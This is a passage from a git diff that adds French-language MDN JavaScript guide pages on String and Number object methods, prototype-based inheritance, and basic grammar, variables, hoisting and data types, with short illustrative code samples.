+   <td><code>toFixed</code></td>
+   <td>Renvoie une chaîne de caractères représentant le nombre dans sa notation à point fixe.</td>
+  </tr>
+  <tr>
+   <td><code>toPrecision</code></td>
+   <td>Renvoie une chaîne de caractères représentant le nombre dans sa notation à point fixe, avec une précision donnée.</td>
+  </tr>
+  <tr>
+   <td><code>toSource</code></td>
+   <td>Renvoie un littéral objet représentant l'objet <code>Number</code>. Cette valeur peut ensuite être utilisée pour créer un nouvel objet. Cette méthode surcharge la méthode <code>Object.toSource</code>.</td>
+  </tr>
+  <tr>
+   <td><code>toString</code></td>
+   <td>Renvoie une chaîne de caractères représentant l'objet. Cette méthode surcharge la méthode <code>Object.toString.</code></td>
+  </tr>
+  <tr>
+   <td><code>valueOf</code></td>
+   <td>Renvoie la valeur primitive de l'objet. Cette méthode surcharge la méthode <code>Object.valueOf</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="L'objet_RegExp">L'objet <code>RegExp</code></h2>
+
+<p>Pour plus d'explications sur le fonctionnement des expressions rationnelles, voir la page sur<a href="/fr/docs/JavaScript/Guide/Expressions_r%C3%A9guli%C3%A8res"> les expressions rationnelles</a>.</p>
+
+<h2 id="L'objet_String">L'objet String</h2>
+
+<p>L'objet <code>String</code> est une enveloppe pour les données du type chaîne de caractères. Les littéraux de chaînes de caractères ne doivent pas être confondus avec les objets <code>String</code>. Par exemple, le code suivant crée deux choses : un littéral de chaîne de caractère,<code> s1</code>, et l'objet <code>String</code> <code>s2</code> :</p>
+
+<pre class="brush: js">var s1 = "truc"; //crée un littéral de chaîne de caractères
+var s2 = new String("truc"); //crée un objet String
+</pre>
+
+<p>Chacune des méthodes de l'objet <code>String</code> peut être utilisée sur une valeur qui est un littéral de chaîne de caractères (pour ce faire, JavaScript convertit automatiquement le littéral en un objet <code>String</code> temporaire, appelle la méthode voulue puis supprime l'objet temporaire). Il est également possible d'utiliser la propriété <code>String.length</code> sur un littéral de chaîne de caractères.</p>
+
+<p>Il est fortement recommandé d'utiliser des littéraux de chaînes de caractères à moins d'avoir spécifiquement besoin d'utiliser un objet <code>String</code>. En effet, les objets <code>String</code> peuvent avoir des effets inattendus :</p>
+
+<pre class="brush: js">var s1 = "2 + 2"; //crée un littéral de chaîne de caractères
+var s2 = new String("2 + 2"); //crée un objet String
+eval(s1); //renvoie 4
+eval(s2); //renvoie la chaîne "2 + 2"</pre>
+
+<p>Un objet <code>String</code> possède une seule propriété, <code>length</code>, indiquant le nombre de caractères contenus dans la chaîne de caractères. Dans le code qui suit, x recevra la valeur 13 car la chaîne "Hello, World!" possède 13 caractères :</p>
+
+<pre class="brush: js">var maChaine = "Hello, World!";
+var x = maChaine.length;
+</pre>
+
+<p>Un objet possède deux types de méthodes : celles qui renvoient une chaîne modifiée à partir de l'objet initial et celles qui renvoient une version au format HTML de la chaîne. Dans la première catégorie on trouvera des méthodes comme<code> substring</code> et <code>toUpperCase</code>, dans la seconde catégorie, on trouvera notamment <code>bold</code> et <code>link</code>.</p>
+
+<p>Par exemple, si on utilise la chaîne précédente <code>maChaine.toUpperCase()</code> ou aussi <code>"hello, world!".toUpperCase()</code>, on obtiendra le résultat "HELLO, WORLD!".</p>
+
+<p>La méthode <code>substring</code> contient deux arguments et renvoie un fragment de la chaîne de caractères entre ces deux arguments qui correspondent aux indices de début et de fin du « découpage ». <code>maChaine.substring(4, 9)</code> renverra "o, Wo".</p>
+
+<p>L'objet <code>String</code> possède également certaines méthodes permettant d'obtenir directement des données au format HTML : des liens, du texte formaté... Ainsi on pourrait créer un hyperlien avec la méthode suivante :</p>
+
+<pre class="brush: js">maChaine.link("http://www.helloworld.com")
+</pre>
+
+<p>Le tableau qui suit liste les méthodes des objets <code>String</code>.</p>
+
+<table class="fullwidth-table">
+ <caption>Tableau 7.4 Méthodes des instances du prototype String</caption>
+ <thead>
+  <tr>
+   <th scope="col">Méthode</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/anchor">anchor</a></code></td>
+   <td>Permet de créer un ancre HTML</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/big" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String//big">big</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/blink" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/blink">blink</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/bold" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/bold">bold</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/fixed" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/fixed">fixed</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/italics" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/italics">italics</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/small" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/small">small</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/strike" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/strike">strike</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/sub" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/sub">sub</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/sup" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/sup">sup</a></code></td>
+   <td>Permet de formater une chaîne de caractères au format HTML. (Note : l'utilisation du CSS peut parfois être plus judicieuse que certaines entités HTML).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/charAt" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/charAt">charAt</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/charCodeAt" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/charCodeAt">charCodeAt</a></code></td>
+   <td>Renvoie le caractère ou le code du caractère à la position indiquée dans la chaîne de caractères.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/indexOf" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/indexOf">indexOf</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/lastIndexOf" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/lastIndexOf">lastIndexOf</a></code></td>
+   <td>Renvoie la position d'un fragment de la chaîne de caractères (respectivement la dernière position).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/link" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/link">link</a></code></td>
+   <td>Crée un hyperlien HTML</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/concat" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/concat">concat</a></code></td>
+   <td>Concatène deux chaînes de caractères en une chaîne de caractères.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/fromCharCode" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/fromCharCode">fromCharCode</a></code></td>
+   <td>Construit une chaîne de caractères à partir de la séquence de codes Unicodes fournie. Cette méthode appartient au prototype String mais pas aux instances objets String.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/split" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/split">split</a></code></td>
+   <td>Découpe un objet <code>String</code> en un tableau de chaînes de caractères selon un séparateur donné.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/slice" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/slice">slice</a></code></td>
+   <td>Extrait un fragment de la chaîne de caractères et renvoie une nouvelle chaîne.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/substring" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/substring">substring</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/substr" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/substr">substr</a></code></td>
+   <td>Renvoie un fragment de la chaîne de caractères à partir d'un indice jusqu'à un autre indice ou à partir d'un indice et pour une longueur donnée.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/match" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/match">match</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/replace" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/replace">replace</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/search" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/search">search</a></code></td>
+   <td>Fonctionne avec les expressions rationnelles.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/toLowerCase" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/toLowerCase">toLowerCase</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/toUpperCase" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/toUpperCase">toUpperCase</a></code></td>
+   <td>
+    <p>Renvoie la chaîne de caractères en lettres minuscules (respectivement, en lettres majuscules).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p style="text-align: right;"><span style="float: left;"><a href="/fr/docs/JavaScript/Guide/Utiliser_les_objets">« Précédent</a></span>  <a href="/fr/docs/Web/JavaScript/Guide/Le_mod%C3%A8le_objet_JavaScript_en_d%C3%A9tails">Suivant »</a></p>
diff --git a/files/fr/web/javascript/guide/retours_sur_héritage/index.html b/files/fr/web/javascript/guide/retours_sur_héritage/index.html
new file mode 100644
index 0000000000..fc7d26e6db
--- /dev/null
+++ b/files/fr/web/javascript/guide/retours_sur_héritage/index.html
@@ -0,0 +1,87 @@
+---
+title: Retours sur l'héritage
+slug: Web/JavaScript/Guide/Retours_sur_héritage
+tags:
+  - Guide
+  - JavaScript
+  - Prototype
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<p>Pour des informations plus générales sur l'héritage et les prototypes dans JavaScript, il est conseillé de lire la page <a href="/fr/docs/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="/fr/docs/JavaScript/Guide/Inheritance_and_the_prototype_chain">Héritage et chaîne de prototypes</a>.</p>
+
+<p>L'héritage a toujours été présent dans JavaScript. Les exemples de cette page utilisent des méthodes qui ont été introduites avec ECMAScript 5. Les pages décrivant ces méthodes vous permettront de savoir si elles peuvent être émulées ou non (pour les anciennes versions notamment).</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p><code>B</code> hérite de <code>A</code> :</p>
+
+<pre class="brush: js">function A(a){
+  this.varA = a;
+}
+
+A.prototype = {
+  faireQuelqueChose : function(){
+    // ...
+  }
+}
+
+function B(a, b){
+  A.call(this, a);
+  this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+  varB : {
+    value: null,
+    enumerable: true,
+    configurable: true,
+    writable: true
+  },
+  faireQuelqueChose : {
+    value: function(){ // surcharge
+      A.prototype.faireQuelqueChose.apply(this, arguments); // call super
+      // ...
+    },
+    enumerable: true,
+    configurable: true,
+    writable: true
+  }
+});
+
+var b = new B();
+b.faireQuelqueChose();
+</pre>
+
+<p>Ce qui est à retenir ici :</p>
+
+<ul>
+ <li>Les types sont définis dans <code>.prototype</code></li>
+ <li>On utiliser <code>Object.create()</code> pour l'héritage</li>
+</ul>
+
+<h2 id="La_propriété_prototype_et_la_méthode_Object.getPrototypeOf">La propriété <code>prototype</code> et la méthode Object.getPrototypeOf</h2>
+
+<p>JavaScript peut paraître déroutant, relativement à Java ou C++ car il y a une gestion dynamique, à l'exécution et qu'il n'y a pas de classe. Tous les objets sont des instances.</p>
+
+<p>On voit dans l'exemple précédent que la fonction <code>A</code> possède une propriété spéciale appelée <code>prototype</code>. Cette propriété spéciale est liée à l'utilisation de l'opérateur <code>new</code>. Une référence à l'objet prototype est copié vers la propriété interne<code> [[Prototype]]</code> de la nouvelle instance. Ainsi, si on fait <code>var a1 = new A()</code>, JavaScript (une fois que l'objet sera créé en mémoire et avant d'exécuter la fonction<code> A()</code> avec <code>this</code> lié à l'objet) définira <code>a1.[[Prototype]] = A.prototype</code>. Quand on accède aux propriétés d'une instance, JavaScript vérifie d'abord que la propriété en question existe ou non pour l'instance même et si ce n'est pas le cas, consulte <code>[[Prototype]]</code>. Cela signifie que chaque chose définie dans <code>prototype</code> est partagée avec toutes les instances et qu'on peut changer certains aspects du prototype par la suite, ces changements seront répercutés pour toutes les instances.</p>
+
+<p>Si, dans l'exemple suivant, on fait <code>var a1 = new A(); var a2 = new A();</code> alors <code>a1.faireQuelqueChose</code> se référerait à <code>Object.getPrototypeOf(a1).faireQuelqueChose</code>, qui correspond exactement à <code>A.prototype.faireQuelqueChose</code>. Autrement dit : <code>Object.getPrototypeOf(a1).<code>faireQuelqueChose</code> == Object.getPrototypeOf(a2).<code>faireQuelqueChose</code> == A.prototype.<code>faireQuelqueChose</code></code>.</p>
+
+<p>En résumé, le <code>prototype</code> correspond au type tandis que <code>Object.getPrototypeOf()</code> permet de décrire une instance.</p>
+
+<p><code><span>[[Prototype]]</span></code> est exploré récursivement. Cela signifie qu'on cherche <code>a1.faireQuelqueChose</code>, puis <code>Object.getPrototypeOf(a1).<code>faireQuelqueChose</code></code>, puis <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).<code>faireQuelqueChose</code></code> et ainsi de suite jusqu'à ce que <code>Object.getPrototypeOf </code>renvoie la valeur <code>null</code>.</p>
+
+<p>Quand on appelle :</p>
+
+<pre class="brush: js">var o = new Toto();</pre>
+
+<p>JavaScript effectue en fait :</p>
+
+<pre class="brush: js">var o = new Object();
+o.[[Prototype]] = Toto.prototype;
+o.Toto();</pre>
+
+<p>Puis, si on utilise cette instruction</p>
+
+<pre class="brush: js">o.unePropriété;</pre>
+
+<p>qui vérifie si <code>o</code> possède une propriété <code>unePropriété</code>. Si ce n'est pas le cas, JavaScript vérifiera si <code>Object.getPrototypeOf(o).<code>unePropriété</code></code> existe, si ce n'est pas le cas il vérifie <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).<code>unePropriété</code></code> et ainsi de suite.</p>
diff --git a/files/fr/web/javascript/guide/types_et_grammaire/index.html b/files/fr/web/javascript/guide/types_et_grammaire/index.html
new file mode 100644
index 0000000000..e2c51c9cc3
--- /dev/null
+++ b/files/fr/web/javascript/guide/types_et_grammaire/index.html
@@ -0,0 +1,709 @@
+---
+title: Types et grammaire
+slug: Web/JavaScript/Guide/Types_et_grammaire
+tags:
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<div> {{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs")}}</div>
+
+<p>Ce chapitre décrit les bases de la grammaire et des types de données JavaScript.</p>
+
+<h2 id="Les_bases_du_langage">Les bases du langage</h2>
+
+<p>JavaScript emprunte la plupart des éléments de sa syntaxe à Java, C et C++ mais sa syntaxe est également influencée par Awk, Perl et Python.</p>
+
+<p>JavaScript est <strong>sensible à la casse</strong> et utilise l'ensemble de caractères <strong>Unicode</strong>. On pourrait donc tout à fait utiliser le mot früh comme nom de variable :</p>
+
+<pre class="brush: js">var früh = "toto";
+typeof Früh; // undefined car JavaScript est sensible à la casse
+</pre>
+
+<p>En JavaScript, les instructions sont appelées ({{Glossary("Statement", "statements")}}) et sont séparées par des points-virgules.</p>
+
+<p>Il n'est pas nécessaire d'inclure un point-virgule si l'on écrit une instruction sur une nouvelle ligne. Mais si vous voulez écrire plus d'une déclaration sur une seule ligne, alors elles doivent être séparées par un point-virgule. Ceci étant dit, la bonne pratique est d'inclure un point-virgule après chaque instruction. Les espaces, les tabulations et les caractères de nouvelles lignes sont considérés comme des blancs. Il existe aussi un ensemble de règles pour ajouter automatiquement des points-virgules à la fin des instructions (<a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Insertion_automatique_de_points-virgules">ASI</a> pour<em> Automatic Semicolon Insertion</em>). Cependant, il est conseillé de toujours ajouter des points-virgules à la fin des instructions afin d'éviter des effets de bord néfastes.</p>
+
+<p>Le texte d'un code source JavaScript est analysé de gauche à droite et est converti en une série d'unités lexicales, de caractères de contrôle, de fins de lignes, de commentaires et de blancs. ECMAScript définit également certains mots-clés et littéraux. Pour plus d'informations, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">la grammaire lexicale de JavaScript</a> dans la référence JavaScript.</p>
+
+<h2 id="Commentaires">Commentaires</h2>
+
+<p>La syntaxe utilisée pour <strong>les commentaires</strong> est la même que celle utilisée par le C++ et d'autres langages :</p>
+
+<pre class="brush: js">// un commentaire sur une ligne
+
+/* un commentaire plus
+   long sur plusieurs lignes
+ */
+
+/* Par contre on ne peut pas /* imbriquer des commentaires */ SyntaxError */
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Vous pourrez également rencontrer une troisième forme de commentaires au début de certains fichiers JavaScript comme <code>#!/usr/bin/env node</code>. Ce type de commentaire indique le chemin d'un interpréteur JavaScript spécifique pour exécuter le script. Pour plus de détails, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Commentaire_d'environnement_(hashbang)">les commentaires d'environnement</a>.</p>
+</div>
+
+<h2 id="Déclarations">Déclarations</h2>
+
+<p>Il existe trois types de déclarations de variable en JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Instructions/var", "var")}}</dt>
+ <dd>On déclare une variable, éventuellement en initialisant sa valeur.</dd>
+ <dt>{{jsxref("Instructions/let", "let")}}</dt>
+ <dd>On déclare une variable dont la portée est celle du bloc courant, éventuellement en initialisant sa valeur.</dd>
+ <dt>{{jsxref("Instructions/const", "const")}}</dt>
+ <dd>On déclare une constante nommée, dont la portée est celle du bloc courant, accessible en lecture seule.</dd>
+</dl>
+
+<h3 id="Variables">Variables</h3>
+
+<p>Les variables sont utilisées comme des noms symboliques désignant les valeurs utilisées dans l'application. Les noms des variables sont appelés <em>identifiants</em>. Ces identifiants doivent respecter certaines règles.</p>
+
+<p>Un identifiant JavaScript doit commencer par une lettre, un tiret bas (_) ou un symbole dollar ($). Les caractères qui suivent peuvent être des chiffres (0 à 9).<br>
+ <u>À noter</u>: puisque Javascript est sensible aux majuscules et minuscules: les lettres peuvent comprendre les caractères de « A » à « Z » (en majuscule) mais aussi les caractères  de « a » à « z » (en minuscule).</p>
+
+<p>On peut aussi utiliser la plupart lettres Unicode ou ISO 8859-1 (comme å et ü, pour plus de détails, voir <a href="https://mathiasbynens.be/notes/javascript-identifiers-es6">ce billet de blog, en anglais</a>) au sein des identifiants. Il est également possible d'utiliser les \uXXXX <a href="#littéraux chaînes">séquences d'échappement Unicode</a> comme caractères dans les identifiants.</p>
+
+<p>Voici des exemples d'identifiants valides : <code>Nombre_touches</code>, <code>temp99</code>, <code>$credit</code>, et <code>_nom</code>.</p>
+
+<h3 id="Déclaration_de_variables">Déclaration de variables</h3>
+
+<p>Il est possible de déclarer des variables de plusieurs façons :</p>
+
+<ul>
+ <li>En utilisant le mot-clé {{jsxref("Instructions/var","var")}}, par exemple : <code>var x = 42</code>. Cette syntaxe peut être utilisée pour déclarer des variables <a href="#Portées">locales ou globales</a> selon le contexte d'exécution.</li>
+ <li>En utilisant le mot-clé {{jsxref("Instructions/const","const")}} ou le mot-clé {{jsxref("Instructions/let","let")}}, par exemple avec <code>let y = 13</code>. Cette syntaxe peut être utilisée pour déclarer une variable dont la portée sera celle du bloc. Voir le paragraphe sur <a href="#Portées">les portées des variables</a> ci-après.</li>
+</ul>
+
+<p>Il est également possible d'affecter une valeur à une variable sans utiliser de mot-clé (ex. <code>x = 42</code>). Cela créera une variable globale non-déclarée. Cette forme génèrera également un avertissement avec <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">le mode strict</a>. Attention, les variables globales non-déclarées peuvent mener à des comportements inattendus et sont considérées comme une mauvaise pratique.</p>
+
+<h3 id="Évaluation_de_variables">Évaluation de variables</h3>
+
+<p>Une variable déclarée grâce à l'instruction <code>var</code> ou <code>let</code> sans valeur initiale définie vaudra {{jsxref("undefined")}}.</p>
+
+<p>Tenter d'accéder à une variable qui n'a pas été déclarée ou tenter d'accéder à un identifiant déclaré avec <code>let</code> avant son initialisation provoquera l'envoi d'une exception {{jsxref("ReferenceError")}}.</p>
+
+<pre class="brush: js">var a;
+console.log("La valeur de a est " + a); // La valeur de a est undefined
+
+console.log("La valeur de b est " + b); // La valeur de b est undefined
+var b; // La déclaration de la variable est "remontée" (voir la section ci-après)
+
+console.log("La valeur de x est " + x); // signale une exception ReferenceError
+let x;
+let y;
+console.log("La valeur de y est " + y); // La valeur de y est undefined
+</pre>
+
+<p>Il est possible d'utiliser <code>undefined</code> pour déterminer si une variable possède une valeur. Dans l'exemple qui suit, la condition de l'instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if</a></code> sera validée car la variable n'a pas été initialisée (elle a simplement été déclarée) :</p>
+
+<pre class="brush: js">var input;
+if (input === undefined){
+  faireCeci();
+} else {
+  faireCela();
+}
+</pre>
+
+<p>La valeur <code>undefined</code> se comporte comme le booléen <code>false</code> lorsqu'elle est utilisée dans un contexte booléen. Ainsi, le fragment de code qui suit exécutera la fonction <code>maFonction</code> puisque le premier élément de <code>monTableau</code> n'est pas défini :</p>
+
+<pre class="brush: js">var monTableau = new Array();
+if (!monTableau[0]){
+  maFunction();
+}
+</pre>
+
+<p>La valeur <code>undefined</code> est convertie en {{jsxref("NaN")}} (pour <em>Not a Number</em> : « n'est pas un nombre ») lorsqu'elle est utilisée dans un contexte numérique.</p>
+
+<pre class="brush: js">var a;
+a + 2; // NaN</pre>
+
+<p>Une variable valant <code>null</code> sera toujours considérée comme 0 dans un contexte numérique et comme <code>false</code> dans un contexte booléen. Par exemple, on aura :</p>
+
+<pre class="brush: js">var n = null;
+console.log(n * 32); // Le log affichera 0</pre>
+
+<h3 id="Les_portées_de_variables"><a name="Portées">Les portées de variables</a></h3>
+
+<p>Lorsqu'une variable est déclarée avec <code>var</code> en dehors des fonctions, elle est appelée variable <em>global</em>e car elle est disponible pour tout le code contenu dans le document. Lorsqu'une variable est déclarée dans une fonction, elle est appelée variable <em>locale</em> car elle n'est disponible qu'au sein de cette fonction.</p>
+
+<p>Avant ECMAScript 2015 (ES6), JavaScript ne définissait pas de portée pour une <a href="/fr/docs/Web/JavaScript/Reference/Instructions/bloc">instruction de bloc</a> ; les éléments du bloc seront locaux pour le code qui contient le bloc (que ce soit une fonction ou le contexte global). Ainsi, l'exemple qui suit affichera 5 car la portée de <code>x</code> est la fonction (ou le contexte global) dans lequel <code>x</code> est déclaré, pas le bloc (correspondant à l'instruction <code>if</code> dans ce cas) :</p>
+
+<pre class="brush: js">if (true) {
+  var x = 5;
+}
+console.log(x); // x vaut 5
+</pre>
+
+<p>La déclaration {{jsxref("Instructions/let","let")}}, introduite avec ECMAScript 2015, ajoute un nouveau comportement :</p>
+
+<pre class="brush: js">if (true) {
+  let y = 5;
+}
+console.log(y); // ReferenceError: y is not defined
+</pre>
+
+<h3 id="Remontée_de_variables_(hoisting)">Remontée de variables (<em>hoisting</em>)</h3>
+
+<p>Une autre chose peut paraître étrange en JavaScript : il est possible, sans recevoir d'exception, de faire référence à une variable qui est déclarée plus tard. Ce concept est appelé « remontée » (<em>hoisting</em> en anglais) car, d'une certaine façon, les variables sont remontées en haut de la fonction ou de l'instruction. En revanche, les variables qui n'ont pas encore été initialisées renverront la valeur <code>undefined</code>. Ainsi, même si on déclare une variable et qu'on l'initialise après l'avoir utilisée ou y avoir fait référence, la valeur utilisée « la plus haute » sera toujours <code>undefined</code>.</p>
+
+<pre class="brush: js">/**
+ * Exemple 1
+ */
+console.log(x === undefined); // donne "true"
+var x = 3;
+
+/**
+ * Exemple 2
+ */
+// renverra undefined
+var maVar = "ma valeur";
+
+(function () {
+  console.log(maVar); // undefined
+  var maVar = "valeur locale";
+})();
+</pre>
+
+<p>Les exemples précédents peuvent être reformulés plus explicitement ainsi :</p>
+
+<pre class="brush: js">/**
+ * Exemple 1
+ */
+var x;
+console.log(x === undefined); // donne "true"
+x = 3;
+
+/**
+ * Exemple 2
+ */
+var maVar = "ma valeur";
+
+(function () {
+  var maVar;
+  console.log(maVar); // undefined
+  maVar = "valeur locale";
+})();
+</pre>
+
+<p>C'est pourquoi il est conseillé de placer les instructions <code>var</code> dès que possible dans le code. De plus, cette bonne pratique aide à rendre le code plus lisible.</p>
+
+<p>Avec ECMAScript 2015, <code>let (const)</code> <strong>remontera la variable en haut du bloc mais ne l'initialisera pas</strong>. Aussi, si on fait référence à la variable dans le bloc avant la déclaration, on obtient une {{jsxref("ReferenceError")}} car la variable est dans une « zone morte temporelle ». entre le début du bloc et le traitement de la déclaration</p>
+
+<pre class="brush: js">function faire_quelquechose() {
+  console.log(toto); // ReferenceError
+  let toto = 2;
+}</pre>
+
+<h3 id="Remontée_de_fonctions">Remontée de fonctions</h3>
+
+<p>En ce qui concerne les fonctions, seules les déclarations de fonctions sont remontées. Pour les expressions de fonctions, il n'y a pas de telle remontée car la variable associée n'a pas encore été affectée avec la valeur finale (comme vu avant) :</p>
+
+<pre class="brush: js">/* Déclaration de fonction */
+toto();  // "truc"
+function toto(){
+  console.log("truc");
+}
+
+/* Expression de fonction */
+machin();      // erreur TypeError : machin n'est pas une fonction
+var machin = function() {
+  console.log("titi");
+}
+</pre>
+
+<h3 id="Les_variables_globales"><a name="Globales">Les variables globales</a></h3>
+
+<p>Les variables globales sont en réalité des propriétés de l'<em>objet global</em>. Dans les pages web, l'objet global est {{domxref("window")}}, et on peut donc accéder ou modifier la valeur de variables globales en utilisant la syntaxe suivante : <code>window.<em>variable</em></code> .</p>
+
+<p>Ainsi, il est possible d'accéder à des variables déclarées dans une fenêtre ou dans un cadre depuis une autre fenêtre ou depuis un autre cadre (<em>frame</em>) en spécifiant son nom. Si, par exemple, une variable appelée <code>numTéléphone</code> est déclarée dans un document <code>FRAMESET</code>, il est possible d'y faire référence, depuis un cadre fils, avec la syntaxe <code>parent.numTéléphone</code>.</p>
+
+<h3 id="Constantes">Constantes</h3>
+
+<p>Il est possible de créer des constantes en lecture seule en utilisant le mot-clé {{jsxref("Instructions/const","const")}}. La syntaxe d'un identifiant pour une constante est la même que pour les variables (elle doit débuter avec une lettre, un tiret du bas, un symbole dollar et peut contenir des caractères numériques, alphabétiques et des tirets bas voire des caractères Unicode).</p>
+
+<pre class="brush: js">const préfixe = '212';
+</pre>
+
+<p>Une constante ne peut pas changer de valeur grâce à une affectation ou être re-déclarée pendant l'exécution du script.</p>
+
+<p>Les règles de portée des constantes sont les mêmes que pour les variables, à l'exception du mot-clé <code>const</code> qui est obligatoire. S'il est oublié, l'identifiant sera considéré comme celui d'une variable.</p>
+
+<p>Il est impossible de déclarer une constante avec le même nom qu'une autre variable ou fonction dans la même portée.</p>
+
+<pre class="example-bad brush: js">// Renverra une erreur
+function f() {};
+const f = 5;
+
+// Renverra également une erreur
+function f() {
+  const g = 5;
+  var g;
+
+  //instructions
+}
+</pre>
+
+<p>Cependant, les propriétés des objets qui sont affectés comme constantes ne sont pas protégées, on pourra ainsi exécuter sans problème le code suivant :</p>
+
+<pre class="brush: js">const MON_OBJET = {"clé": "valeur"};
+MON_OBJET.clé = "autreValeur";</pre>
+
+<p>De même, le contenu d'un tableau peut être modifié sans alerte :</p>
+
+<pre class="brush: js">const MON_TABLEAU = ["HTML", "CSS"];
+MON_TABLEAU.push("JavaScript");
+console.log(MON_TABLEAU); // ["HTML", "CSS", "JavaScript"]
+</pre>
+
+<h2 id="Structures_de_données_et_types">Structures de données et types</h2>
+
+<h3 id="Types_de_données">Types de données</h3>
+
+<p>La dernière version du standard ECMAScript définit sept types de données :</p>
+
+<ul>
+ <li>Six types de données primitifs :
+  <ul>
+   <li>Type booléen : <code>true</code> et <code>false</code>.</li>
+   <li>Type nul (<code>null</code>), un mot-clé spécial pour indiquer une valeur nulle (au sens informatique). JavaScript étant sensible à la casse, <code>null</code> n'est pas <code>Null</code>, <code>NULL</code>, ou toute autre variante.</li>
+   <li>Un type pour les valeurs indéfinies (<code>undefined</code>).</li>
+   <li>Un type pour les nombres entiers ou décimaux. Par exemple : <code>42</code> ou <code>3.14159</code>.</li>
+   <li>Un type pour représenter les grands nombres entiers <code>BigInt</code>, par exemple <code>9007199254740992n</code>.</li>
+   <li>Un type pour les chaînes de caractères, une séquence de caractères qui représente une valeur textuelle. Par exemple : "Coucou"</li>
+   <li>Un type pour les symboles, apparus avec ECMAScript 2015 (ES6). Ce type est utilisé pour représenter des données immuables et uniques.</li>
+  </ul>
+ </li>
+ <li>et un type pour les objets (<em>Object</em>)</li>
+</ul>
+
